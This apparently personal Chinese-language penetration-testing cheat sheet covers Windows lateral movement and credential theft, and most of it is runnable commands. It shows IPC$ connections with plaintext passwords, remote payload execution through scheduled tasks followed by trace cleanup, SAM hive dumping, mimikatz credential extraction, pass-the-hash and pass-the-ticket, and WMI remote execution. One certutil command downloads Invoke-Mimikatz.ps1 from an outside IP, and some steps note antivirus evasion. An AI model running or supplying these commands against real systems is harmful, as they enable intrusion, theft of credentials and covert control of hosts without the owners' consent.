IPC

IPC的利用条件如下所示:

  • 开启了139和445端口:IPC$需要139和445端口的支持。
  • 管理员开启了默认共享:通过IPC$,可以实现对这些默认共享目录的访问。
  • 知道目标的账号密码。

例如输入如下命令即可建立IPC连接:

net use \\192.168.52.138\ipc$ "123456789_CG" /user:pinger

输入如下命令查看当前的连接:

net use

建立连接后,可以通过使用如下命令先简单的获取目标的一些信息:

# 获取目标C盘目录信息
dir \\192.168.52.138\\c$
# 获取目标运行的进程(查看是否有杀软等)
tasklist /S 192.168.52.138 /U pinger /P 123456789_CG

最后,可以利用计划任务结合IPC进行命令执行,主要分为两种方式:at方式和schtasks方式,前者比较适用于windows server 2008之前的版本。

(1)at方式:

首先查看目标机器的当前时间:

net time \\192.168.50.138

然后将包含命令的文件上传到目标机器:

copy payload.bat \\192.168.52.138\C$

接着使用at创建计划任务执行payload.bat

# 利用计划任务无回显执行命令
at \\192.168.52.138 14:59PM C:\payload.bat
# 利用计划任务带回显执行命令
at \\192.168.52.138 14:59PM cmd.exe /c "ipconfig >C:/res.txt"
# 查看命令直接结果
type \\192.168.52.138\C$:\\res.txt
# 如果遇到了计划任务提示:无效句柄,则需要添加HOST
echo 192.168.52.138 DcHost >> C:\windows\system32\drivers\etc\hosts

最后就是清理痕迹,清除计划任务:

at \\192.168.52.138 7 /delete

(2)schtasks方式:

使用schtasks方式创建计划任务执行payload.bat,计划开机时启动,入下所示:

# 需要建立IPC的用户拥有权限
schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\payload.bat /ru system /f

然后就是启动计划任务:

schtasks /run /s 192.168.52.138 /i /tn "test"

然后删除计划任务:

schtasks /delete /s 192.168.52.138 /tn "test" /f

最后删除IPC连接:

net use \\192.168.52.138\ipc$ /del /y

单机密码抓取

  • 必须是System权限;
  • 本地用户名、散列值和其他安全验证信息都保存在SAM文件中;
  • SAM文件保存在 C:\Windows\System32\config 中;
  • SAM文件是锁定的,不允许复制;
  • 可以使用VSS卷影拷贝的方式将SAM文件复制出来;
  • 可以使用工具将散列值和明文密码从内存中的lsass.exe进程或者SAM文件中导出;

主要介绍几种好用的方式:

(1)导出目标SAM和System,在本地获取NTLM Hash(防止mimikatz被杀):

首先需要导出目标的SAM文件,命令如下:

reg save hklm\sam sam.hive
reg save hklm\system system.hive

在本地使用mimikatz读取SAM和System文件获取Hash,将前面在目标机器生成的sam.hive和system.hive导出到本地,在本地的mimikatz输入如下命令进行解析:

lsadump::sam /sam:C:/Users/18148/Desktop/sam.hive /system:C:/Users/18148/Desktop/system.hive

(2)使用mimikatz在目标机直接读取SAM,导出Hash(不免杀):

在目标机器上执行mimikatz,输入如下命令:

# 提升权限
privilege::debug
# 将权限提升到System
token::elevate
# 读取本地SAM文件,导出NTLM Hash
lsadump::sam

(3)使用mimikatz在目标机直接读取SAM,导出Hash和 明文密码 (不免杀):

在目标机器上执行mimikatz,输入如下命令:

mimikatz "sekurlsa::logonpasswords"

(4)使用powershell远程加载mimikatz抓取Hash和 明文密码

在目标机器上输入如下命令:

# 先下载mimikatz脚本
certutil.exe -urlcache -split -f http://49.234.105.98:8080/Invoke-Mimikatz.ps1
# 设置powershell的执行策略为开放
Set-ExecutionPolicy Unrestricted
# 导入并执行mimikatz
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'

PTH哈希传递

  • windows server 2012 R2及之后的版本中,默认在内存中不会记录明文密码;
  • 可以使用PTH进行权限验证,控制远程主机;
  • 使用PTH无需破解散列值,可以直接控制远程主机;
  • 如果安装了KB2871997补丁,则无法与远程计算机进行连接,无法对远程计算机使用psexec、wmi、smbexec、schtaskts、at等,也无法访问远程主机的文件共享;
  • 安装了KB2871997可以使用SID为500的Administrator账号进行PTH;

这里演示使用CS内置的mimikatz进行PTH控制主机。首先使用CS的mimikatz导出Hash,如下所示(域管帐号):

mimikatz导出hash

然后在CS的targets处加上需要横向移动的目标机器:

CS手动添加需要横向移动的target

选中添加的target主机,右键选择jump->psexec,填写如下设置:

psexec

最终得到目标主机的beacon,如下所示(好像挺耗时的):

得到目标的beacon

Notice: 如果获得了DC的shell,那么可以用CS的dcsync god.org获取域内所有Hash

PTT票据传递

PTT不需要本地管理员权限即可进行。主要采用两种方式进行PTT。

(1)使用mimikatz进行PTT(我实验失败了=-=)

首先使用mimikatz导出内存中的已存在的票据,输入如下命令:

mimikatz sekurlsa::tickets /export

然后使用mimikatz进行PTT,输入如下命令:

# 先清除当前内存中的票据
mimikatz kerberos:purge
# 然后注入高权限的票据
mimikatz kerberos::ptt "C:\ticket\[0;214ba17]-2-1-40e00000-Administrator@krbtgt-GOD.ORG.kirbi"

(2)使用kekeo进行PTT(我实验失败了=-=)

需要已知以下条件:

  • 目标域名;
  • 域用户名和NTLM Hash;

首先清空缓存中的票据:

kekeo.exe "kerberos::purge" "exit"

然后利用kekeo和已知条件生成票据:

kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:a45a7246dd74b64a67f22fd7020f1bd8" "exit"

然后就是导入了:

kekeo.exe "kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"

使用WMI执行命令

psExec被杀的严重,可以考虑使用wmi进行远程控制。如下是不利用工具进行wmi命令执行的方法:

首先建立ipc连接:

net use \\192.168.52.138\ipc$ "123456789_CG" /user:domain

然后利用wmi执行命令,并将结果输出到res.txt中:

wmic /node:192.168.52.138 process call create "cmd.exe /c ipconfig >C:\\res.txt"

其他

  • ms17-010;
  • psexec、wmi、smbexec;
  • spn扫描:setspn -T god.org -F -Q /
  • keberoast离线爆破NTLM Hash;
  • exchange常规信息收集;